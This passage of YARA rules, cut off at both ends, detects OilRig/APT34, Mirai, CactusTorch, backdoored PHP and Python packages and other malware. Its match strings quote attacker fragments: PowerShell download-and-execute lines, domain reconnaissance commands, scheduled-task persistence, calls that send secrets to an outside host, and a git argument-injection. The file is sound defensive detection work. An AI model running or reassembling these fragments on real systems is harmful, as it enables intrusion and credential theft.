		description = "Detects malware from OilRig Campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		hash1 = "d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34"
		hash2 = "80161dad1603b9a7c4a92a07b5c8bce214cf7a3df897b561732f9df7920ecb3e"
		hash3 = "662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f"
		hash4 = "903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996"
		hash5 = "c4fbc723981fc94884f0f493cb8711fdc9da698980081d9b7c139fcffbe723da"
		hash6 = "57efb7596e6d9fd019b4dc4587ba33a40ab0ca09e14281d85716a253c5612ef4"
		hash7 = "1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1"
		hash8 = "9f31a1908afb23a1029c079ee9ba8bdf0f4c815addbe8eac85b4163e02b5e777"
		hash9 = "0cd9857a3f626f8e0c07495a4799c59d502c4f3970642a76882e3ed68b790f8e"
		hash10 = "4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281"
		hash11 = "4e5b85ea68bf8f2306b6b931810ae38c8dff3679d78da1af2c91032c36380353"
		hash12 = "c3c17383f43184a29f49f166a92453a34be18e51935ddbf09576a60441440e51"
		hash13 = "f3856c7af3c9f84101f41a82e36fc81dfc18a8e9b424a3658b6ba7e3c99f54f2"
		hash14 = "0c64ab9b0c122b1903e8063e3c2c357cbbee99de07dc535e6c830a0472a71f39"
		hash15 = "d874f513a032ccb6a5e4f0cd55862b024ea0bee4de94ccf950b3dd894066065d"
		hash16 = "8ee628d46b8af20c4ba70a2fe8e2d4edca1980583171b71fe72455c6a52d15a9"
		hash17 = "55d0e12439b20dadb5868766a5200cbbe1a06053bf9e229cf6a852bfcf57d579"
		hash18 = "528d432952ef879496542bc62a5a4b6eee788f60f220426bd7f933fa2c58dc6b"
		hash19 = "93940b5e764f2f4a2d893bebef4bf1f7d63c4db856877020a5852a6647cb04a0"
		hash20 = "e2ec7fa60e654f5861e09bbe59d14d0973bd5727b83a2a03f1cecf1466dd87aa"
		hash21 = "9c0a33a5dc62933f17506f20e0258f877947bdcd15b091a597eac05d299b7471"
		hash22 = "a787c0e42608f9a69f718f6dca5556607be45ec77d17b07eb9ea1e0f7bb2e064"
		hash23 = "3772d473a2fe950959e1fd56c9a44ec48928f92522246f75f4b8cb134f4713ff"
		hash24 = "3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4"
		hash25 = "f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e"
		id = "d291edf1-b086-5c61-b131-61c9f6e1267b"

	strings:
		$x1 = "Get-Content $env:Public\\Libraries\\update.vbs) -replace" ascii
		$x2 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {waitfor haha /T 2}\" & Chr(34), 0" fullword ascii
		$x3 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
		$s4 = "CreateObject(\"WScript.Shell\").Run cmd, 0o" fullword ascii
		$b1 = "JGdsb2JhbDpteWhvc3QgP" ascii
		$b2 = "SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzX" ascii
		$b3 = "U2V0IHdzcyA9IENyZWF0ZU9iamVjdCgid1NjcmlwdC5TaGV" ascii
		$b4 = "JHNjcmlwdGRpciA9IFNwbGl0LVBhdGggLVBhcmVudCAtUGF0aCA" ascii
		$b5 = "DQpTZXQgd3NzID0gQ3JlYXRlT2JqZWN" ascii
		$b6 = "d2hvYW1pICYgaG9zdG5hb" ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 700KB and 1 of them )
}

rule OilRig_Malware_Campaign_Mal1
{
	meta:
		description = "Detects malware from OilRig Campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		hash1 = "e17e1978563dc10b73fd54e7727cbbe95cc0b170a4e7bd0ab223e059f6c25fcc"
		id = "c577f0ff-1a33-5d7f-93b2-27df8d414bce"

	strings:
		$x1 = "DownloadExecute=\"powershell \"\"&{$r=Get-Random;$wc=(new-object System.Net.WebClient);$wc.DownloadFile(" ascii
		$x2 = "-ExecutionPolicy Bypass -File \"&HOME&\"dns.ps1\"" fullword ascii
		$x3 = "CreateObject(\"WScript.Shell\").Run Replace(DownloadExecute,\"-_\",\"bat\")" fullword ascii
		$x4 = "CreateObject(\"WScript.Shell\").Run DnsCmd,0" fullword ascii
		$s1 = "http://winodwsupdates.me" ascii

	condition:
		( uint16( 0 ) == 0x4f48 and filesize < 4KB and 1 of them ) or ( 2 of them )
}

rule OilRig_Malware_Campaign_Gen2
{
	meta:
		description = "Detects Oilrig malware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		modified = "2023-01-07"
		hash1 = "c6437f57a8f290b5ec46b0933bfa8a328b0cb2c0c7fbeea7f21b770ce0250d3d"
		hash2 = "293522e83aeebf185e653ac279bba202024cedb07abc94683930b74df51ce5cb"
		id = "2ca0aadf-c5a8-5c89-ab1e-0c06d2ab8516"

	strings:
		$s1 = "%userprofile%\\AppData\\Local\\Microsoft\\" ascii
		$s2 = "$fdn=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" fullword ascii
		$s3 = "&{$rn = Get-Random; $id = 'TR" fullword ascii
		$s4 = "') -replace '__',('DNS'+$id) | " fullword ascii
		$s5 = "\\upd.vbs" ascii
		$s6 = "schtasks /create /F /sc minute /mo " fullword ascii
		$s7 = "') -replace '__',('HTP'+$id) | " fullword ascii
		$s8 = "&{$rn = Get-Random -minimum 1 -maximum 10000; $id = 'AZ" fullword ascii
		$s9 = "http://www.israirairlines.com/?mode=page&page=14635&lang=eng<" fullword ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 4000KB and 2 of ( $s* ) ) or ( 4 of them )
}

rule OilRig_Malware_Campaign_Gen3
{
	meta:
		description = "Detects Oilrig malware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		modified = "2023-01-07"
		hash1 = "5e9ddb25bde3719c392d08c13a295db418d7accd25d82d020b425052e7ba6dc9"
		hash2 = "bd0920c8836541f58e0778b4b64527e5a5f2084405f73ee33110f7bc189da7a9"
		hash3 = "90639c7423a329e304087428a01662cc06e2e9153299e37b1b1c90f6d0a195ed"
		id = "1cd5f7ea-4ae6-5642-b8b3-050cfe724e69"

	strings:
		$x1 = "source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlrrrr" fullword ascii
		$x2 = "\\Libraries\\fireueye.vbs" ascii
		$x3 = "\\Libraries\\fireeye.vbs&" wide

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 100KB and 1 of them )
}

rule OilRig_Malware_Campaign_Mal2
{
	meta:
		description = "Detects malware from OilRig Campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		hash1 = "65920eaea00764a245acb58a3565941477b78a7bcc9efaec5bf811573084b6cf"
		id = "7a6c38e7-bed9-524b-b4a5-c6c895b9c049"

	strings:
		$x1 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {(Get-Content $env:Public\\Libraries\\update.vbs) -replace '__',(Get-Random) | Set-C" ascii
		$x2 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
		$x3 = "mailto:Mohammed.sarah@gratner.com" fullword wide
		$x4 = "mailto:Tarik.Imam@gartner.com" fullword wide
		$x5 = "Call Extract(DnsPs1, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\dns.ps1\")" fullword ascii
		$x6 = "2dy53My5vcmcvMjAw" fullword wide

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 200KB and 1 of them )
}

rule OilRig_Campaign_Reconnaissance
{
	meta:
		description = "Detects Windows discovery commands - known from OilRig Campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		hash1 = "5893eae26df8e15c1e0fa763bf88a1ae79484cdb488ba2fc382700ff2cfab80c"
		id = "a4fe24b8-290a-5a4a-9f81-bbbd9aae6c6e"

	strings:
		$s1 = "whoami & hostname & ipconfig /all" ascii
		$s2 = "net user /domain 2>&1 & net group /domain 2>&1" ascii
		$s3 = "net group \"domain admins\" /domain 2>&1 & " ascii

	condition:
		( filesize < 1KB and 1 of them )
}

rule OilRig_Malware_Campaign_Mal3
{
	meta:
		description = "Detects malware from OilRig Campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QMRZ8K"
		date = "2016-10-12"
		hash1 = "02226181f27dbf59af5377e39cf583db15200100eea712fcb6f55c0a2245a378"
		id = "e5967b39-5d21-5a6a-a1b5-2ec122f16444"

	strings:
		$x1 = "(Get-Content $env:Public\\Libraries\\dns.ps1) -replace ('#'+'##'),$botid | Set-Content $env:Public\\Libraries\\dns.ps1" fullword ascii
		$x2 = "Invoke-Expression ($global:myhome+'tp\\'+$global:filename+'.bat > '+$global:myhome+'tp\\'+$global:filename+'.txt')" fullword ascii
		$x3 = "('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))" fullword ascii

	condition:
		( filesize < 10KB and 1 of them )
}

import "pe"

rule OilRig_Malware_Nov17_13
{
	meta:
		description = ""
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ClearskySec/status/933280188733018113"
		date = "2017-11-22"
		hash1 = "4f1e2df85c538875a7da877719555e21c33a558ac121eb715cf4e779d77ab445"
		id = "c45b8d30-6a5f-5dac-a202-6748ba7b7bd2"

	strings:
		$x1 = "\\Release\\dnscat2.pdb" ascii
		$x2 = "cscript.exe //T:20 //Nologo " fullword ascii
		$a1 = "taskkill /F /IM cscript.exe" fullword ascii
		$a2 = "cmd.exe /c " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( pe.imphash ( ) == "0160250adfc97f9d4a12dd067323ec61" or 1 of ( $x* ) or all of ( $a* ) )
}

rule Oilrig_IntelSecurityManager_macro
{
	meta:
		description = "Detects OilRig malware"
		author = "Eyal Sela (slightly modified by Florian Roth)"
		reference = "Internal Research"
		date = "2018-01-19"
		id = "4cccc0df-a225-5500-be55-f4ae346e066e"

	strings:
		$one1 = "$c$m$$d$.$$" ascii wide
		$one2 = "$C$$e$r$$t$u$$t$i$$l$" ascii wide
		$one3 = "$$%$a$$p$p$$d$a$" ascii wide
		$one4 = ".$t$$x$t$$" ascii wide
		$one5 = "cu = Replace(cu, \"$\", \"\")" ascii wide
		$one6 = "Shell Environ$(\"COMSPEC\") & \" /c"
		$one7 = "echo \" & Chr(32) & cmd & Chr(32) & \" > \" & Chr(34)" ascii wide
		$two1 = "& SchTasks /Delete /F /TN " ascii wide
		$two2 = "SecurityAssist" ascii wide
		$two3 = "vbs = \"cmd.exe /c SchTasks" ascii wide
		$two4 = "/Delete /F /TN Conhost & del" ascii wide
		$two5 = "NullRefrencedException" ascii wide
		$two6 = "error has occurred in user32.dll by" ascii wide
		$two7 = "NullRefrencedException" ascii wide

	condition:
		filesize < 300KB and 1 of ( $one* ) or 2 of ( $two* )
}

rule Oilrig_IntelSecurityManager
{
	meta:
		description = "Detects OilRig malware"
		author = "Eyal Sela"
		reference = "Internal Research"
		date = "2018-01-19"
		id = "4cccc0df-a225-5500-be55-f4ae346e066e"

	strings:
		$one1 = "srvResesponded" ascii wide fullword
		$one2 = "InetlSecurityAssistManager" ascii wide fullword
		$one3 = "srvCheckresponded" ascii wide fullword
		$one4 = "IntelSecurityManager" ascii wide
		$one5 = "msoffice365cdn.com" ascii wide
		$one6 = "\\tmpCa.vbs" ascii wide
		$one7 = "AAZFinish" ascii wide fullword
		$one8 = "AAZUploaded" ascii wide fullword
		$one9 = "ABZFinish" ascii wide fullword
		$one10 = "\\tmpCa.vbs" ascii wide

	condition:
		filesize < 300KB and any of them
}

rule APT_APT34_PS_Malware_Apr19_1
{
	meta:
		description = "Detects APT34 PowerShell malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
		date = "2019-04-17"
		hash1 = "b1d621091740e62c84fc8c62bcdad07873c8b61b83faba36097ef150fd6ec768"
		id = "6a082c5a-ee5b-5002-9148-61bbcfedfe68"

	strings:
		$x1 = "= get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" ascii
		$x2 = "Write-Host \"excepton occured!\"" ascii
		$s1 = "Start-Sleep -s 1;" fullword ascii
		$s2 = "Start-Sleep -m 100;" fullword ascii

	condition:
		1 of ( $x* ) or 2 of them
}

rule APT_APT34_PS_Malware_Apr19_2
{
	meta:
		description = "Detects APT34 PowerShell malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
		date = "2019-04-17"
		hash1 = "2943e69e6c34232dee3236ced38d41d378784a317eeaf6b90482014210fcd459"
		id = "c3bdadfd-2164-5e33-be84-d5d5de8eb048"

	strings:
		$x1 = "= \"http://\" + [System.Net.Dns]::GetHostAddresses(\"" ascii
		$x2 = "$t = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" fullword ascii
		$x3 = "| Where { $_ -notmatch '^\\s+$' }" ascii
		$s1 = "= new-object System.Net.WebProxy($u, $true);" fullword ascii
		$s2 = " -eq \"dom\"){$" ascii
		$s3 = " -eq \"srv\"){$" ascii
		$s4 = "+\"<>\" | Set-Content" ascii

	condition:
		1 of ( $x* ) and 3 of them
}

rule APT_APT34_PS_Malware_Apr19_3
{
	meta:
		description = "Detects APT34 PowerShell malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
		date = "2019-04-17"
		modified = "2023-01-06"
		hash1 = "27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed"
		id = "361582e7-94e3-5608-9ba9-31fa20c37cf0"

	strings:
		$x1 = "Powershell.exe -exec bypass -file ${global:$address1}"
		$x2 = "schtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn"
		$x3 = "\"\\UpdateTasks\\UpdateTaskHosts\""
		$x4 = "wscript /b \\`\"${global:$address1" ascii
		$x5 = "::FromBase64String([string]${global:$http_ag}))" ascii
		$x6 = ".run command1, 0, false\" | Out-File " ascii
		$x7 = "\\UpdateTask.vbs" ascii
		$x8 = "hUpdater.ps1" fullword ascii

	condition:
		1 of them
}

rule Malware_Floxif_mpsvc_dll : HIGHVOL
{
	meta:
		description = "Malware - Floxif"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-07"
		hash1 = "1e654ee1c4736f4ccb8b5b7aa604782cfb584068df4d9e006de8009e60ab5a14"
		id = "37af366a-24b2-5402-b0b5-6e2c80f8c903"

	strings:
		$op1 = { 04 80 7a 03 01 75 04 8d 42 04 c3 8d 42 04 53 8b }
		$op2 = { 88 19 74 03 41 eb ea c6 42 03 01 5b c3 8b 4c 24 }
		$op3 = { ff 03 8d 00 f9 ff ff 88 01 eb a1 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule Mirai_Botnet_Malware
{
	meta:
		description = "Detects Mirai Botnet Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-04"
		modified = "2023-01-27"
		hash1 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
		hash2 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
		hash3 = "20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4"
		hash4 = "2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69"
		hash5 = "420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175"
		hash6 = "62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6"
		hash7 = "70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0"
		hash8 = "89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147"
		hash9 = "bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4"
		hash10 = "c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f"
		hash11 = "d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89"
		hash12 = "f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5"
		hash13 = "fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b"
		id = "a678e9f7-d516-5bdb-962e-b9d39d8a64bb"

	strings:
		$x1 = "POST /cdn-cgi/" ascii
		$x2 = "/dev/misc/watchdog" fullword ascii
		$x3 = "/dev/watchdog" ascii
		$x5 = ".mdebug.abi32" fullword ascii
		$s1 = "LCOGQGPTGP" fullword ascii
		$s2 = "QUKLEKLUKVJOG" fullword ascii
		$s3 = "CFOKLKQVPCVMP" fullword ascii
		$s4 = "QWRGPTKQMP" fullword ascii
		$s5 = "HWCLVGAJ" fullword ascii
		$s6 = "NKQVGLKLE" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or 4 of ( $s* ) )
}

rule Mirai_1_May17
{
	meta:
		description = "Detects Mirai Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-05-12"
		super_rule = 1
		hash1 = "172d050cf0d4e4f5407469998857b51261c80209d9fa5a2f5f037f8ca14e85d2"
		hash2 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
		hash3 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
		id = "ac85ee28-a01f-5c3d-a534-0c19a3dc92e7"

	strings:
		$s1 = "GET /bins/mirai.x86 HTTP/1.0" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 5000KB and all of them )
}

rule Miari_2_May17
{
	meta:
		description = "Detects Mirai Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-05-12"
		super_rule = 1
		hash1 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
		hash2 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
		id = "1c2cc98d-8ca5-5055-8f86-7f85c046ccd9"

	strings:
		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" fullword ascii
		$s2 = "GET /g.php HTTP/1.1" fullword ascii
		$s3 = "https://%[^/]/%s" fullword ascii
		$s4 = "pass\" value=\"[^\"]*\"" fullword ascii
		$s5 = "jbeupq84v7.2y.net" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 5000KB and 2 of them )
}

rule MAL_ELF_LNX_Mirai_Oct10_1
{
	meta:
		description = "Detects ELF Mirai variant"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-10-27"
		modified = "2023-01-27"
		hash1 = "3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe"
		id = "7bb28f03-03ba-581a-bc03-bd09a52787d9"

	strings:
		$x1 = " -r /vi/mips.bushido; "
		$x2 = "/bin/busybox chmod 777 * /tmp/" ascii
		$s1 = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" fullword ascii
		$s2 = "loadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>" fullword ascii
		$s3 = "POST /cdn-cgi/" ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or all of ( $x* ) )
}

rule MAL_ELF_LNX_Mirai_Oct10_2
{
	meta:
		description = "Detects ELF malware Mirai related"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-10-27"
		hash1 = "fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9"
		id = "421b7708-030e-50d1-bf2e-e91758a48c00"

	strings:
		$c01 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00
               20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D
               41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A }

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and all of them
}

rule MAL_Mirai_Nov19_1
{
	meta:
		description = "Detects Mirai malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/bad_packets/status/1194049104533282816"
		date = "2019-11-13"
		hash1 = "bbb83da15d4dabd395996ed120435e276a6ddfbadafb9a7f096597c869c6c739"
		hash2 = "fadbbe439f80cc33da0222f01973f27cce9f5ab0709f1bfbf1a954ceac5a579b"
		id = "40edcb29-9e10-5b87-ba79-8e3f629829e5"

	strings:
		$s1 = "SERVZUXO" fullword ascii
		$s2 = "-loldongs" fullword ascii
		$s3 = "/dev/null" fullword ascii
		$s4 = "/bin/busybox" fullword ascii
		$sc1 = { 47 72 6F 75 70 73 3A 09 30 }

	condition:
		uint16( 0 ) == 0x457f and filesize <= 100KB and 4 of them
}

rule MAL_ARM_LNX_Mirai_Mar13_2022
{
	meta:
		description = "Detects new ARM Mirai variant"
		author = "Mehmet Ali Kerimoglu a.k.a. CYB3RMX"
		date = "2022-03-16"
		hash1 = "0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68"
		id = "54d8860e-fc45-5571-b68c-66590c67a705"

	strings:
		$str1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
		$str2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
		$str3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm"
		$str4 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include"
		$attck1 = "attack.c"
		$attck2 = "attacks.c"
		$attck3 = "anti_gdb_entry"
		$attck4 = "resolve_cnc_addr"
		$attck5 = "attack_gre_eth"
		$attck6 = "attack_udp_generic"
		$attck7 = "attack_get_opt_ip"
		$attck8 = "attack_icmpecho"

	condition:
		uint16( 0 ) == 0x457f and ( 3 of ( $str* ) or 4 of ( $attck* ) )
}

rule CACTUSTORCH
{
	meta:
		description = "Detects CactusTorch Hacktool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
		date = "2017-07-31"
		hash1 = "314e6d7d863878b6dca46af165e7f08fedd42c054d7dc3828dc80b86a3a9b98c"
		hash2 = "0305aa32d5f8484ca115bb4888880729af7f33ac99594ec1aa3c65644e544aea"
		hash3 = "a52d802e34ac9d7d3539019d284b04ded3b8e197d5e3b38ed61f523c3d68baa7"
		id = "75606b9e-97d5-5b8b-87f5-69b7e415b73c"

	strings:
		$x1 = "$payload = shellcode(%options[\"listener\"], \"true\", \"x86\");" fullword ascii
		$x2 = "Copy the base64 encoded payload into the code variable below." fullword ascii
		$x3 = " CACTUSTORCH Payload" ascii
		$x4 = "ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)" fullword ascii
		$x5 = "' Author: Vincent Yiu (@vysecurity)" fullword ascii
		$x6 = "Dim binary : binary = \"rundll32.exe\"" fullword ascii
		$a1 = "code = code & \"" ascii
		$a2 = "serialized_obj = serialized_obj & \"" ascii
		$s1 = "binary = \"rundll32.exe\"" fullword ascii
		$s2 = "EL.DataType = \"bin.hex\"" fullword ascii
		$s3 = "Set stm = CreateObject(\"System.IO.MemoryStream\")" fullword ascii
		$s4 = "var binary = \"rundll32.exe\";" fullword ascii
		$s5 = "var serialized_obj = \"" ascii

	condition:
		( filesize < 800KB and ( 1 of ( $x* ) or ( 1 of ( $a* ) and 1 of ( $s* ) ) ) ) or ( 3 of them )
}

rule VULN_PHP_Hack_Backdoored_Phpass_May21
{
	meta:
		description = "Detects backdoored PHP phpass version"
		author = "Christian Burkard"
		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
		date = "2022-05-24"
		score = 75
		id = "da13924c-0448-589c-bb2a-ee09736a5602"

	strings:
		$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii

	condition:
		filesize < 30KB and $x1
}

rule VULN_Python_Hack_Backdoored_Ctx_May21
{
	meta:
		description = "Detects backdoored python ctx version"
		author = "Christian Burkard"
		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
		date = "2022-05-24"
		score = 75
		hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
		hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
		hash3 = "b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
		id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"

	strings:
		$x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"

	condition:
		filesize < 10KB and $x1
}

rule git_CVE_2017_9800_poc
{
	meta:
		description = "Detects a CVE-2017-9800 exploitation attempt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/mzbat/status/895811803325898753"
		date = "2017-08-11"
		score = 60
		id = "1692eec4-a9af-5d00-97b8-badbe0ba0711"

	strings:
		$s1 = "git clone ssh://-oProxyCommand=" ascii
		$s2 = "git clone http://-" ascii
		$s3 = "git clone https://-" ascii

	condition:
		filesize < 200KB and 1 of them
}

rule SUSP_VHD_Suspicious_Small_Size
{
	meta:
		description = "Detects suspicious VHD files"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/MeltX0R/status/1208095892877774850"
		date = "2019-12-21"
		modified = "2023-01-27"
		score = 50
		hash1 = "3382a75bd959d2194c4b1a8885df93e8770f4ebaeaff441a5180ceadf1656cd9"
		id = "f4a72e7b-ddd3-5038-9440-1e81dc27755d"

	strings:
		$hc1 = { 63 6F 6E 65 63 74 69 78 }
		$hc2a = { 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F
               6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F
               61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20
               73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F
               70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D }
		$hc2b = "connectix"

	condition:
		not uint16( 0 ) == 0x5a4d and filesize > 1KB and filesize <= 4000KB and ( $hc1 at 0 or all of ( $hc2* ) )
}

rule APT30_Generic_H
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
		id = "1908e985-9634-51dc-8972-53afa13c26a3"

	strings:
		$s0 = "\\Temp1020.txt" ascii
		$s1 = "Xmd.Txe" fullword ascii
		$s2 = "\\Internet Exp1orer" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_2
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
		id = "821a2de9-48c4-58d8-acc4-1e25025ab5cf"

	strings:
		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
		$s11 = "ForZRLnkWordDlg" fullword wide
		$s12 = " (C) 2011" fullword wide

	condition:
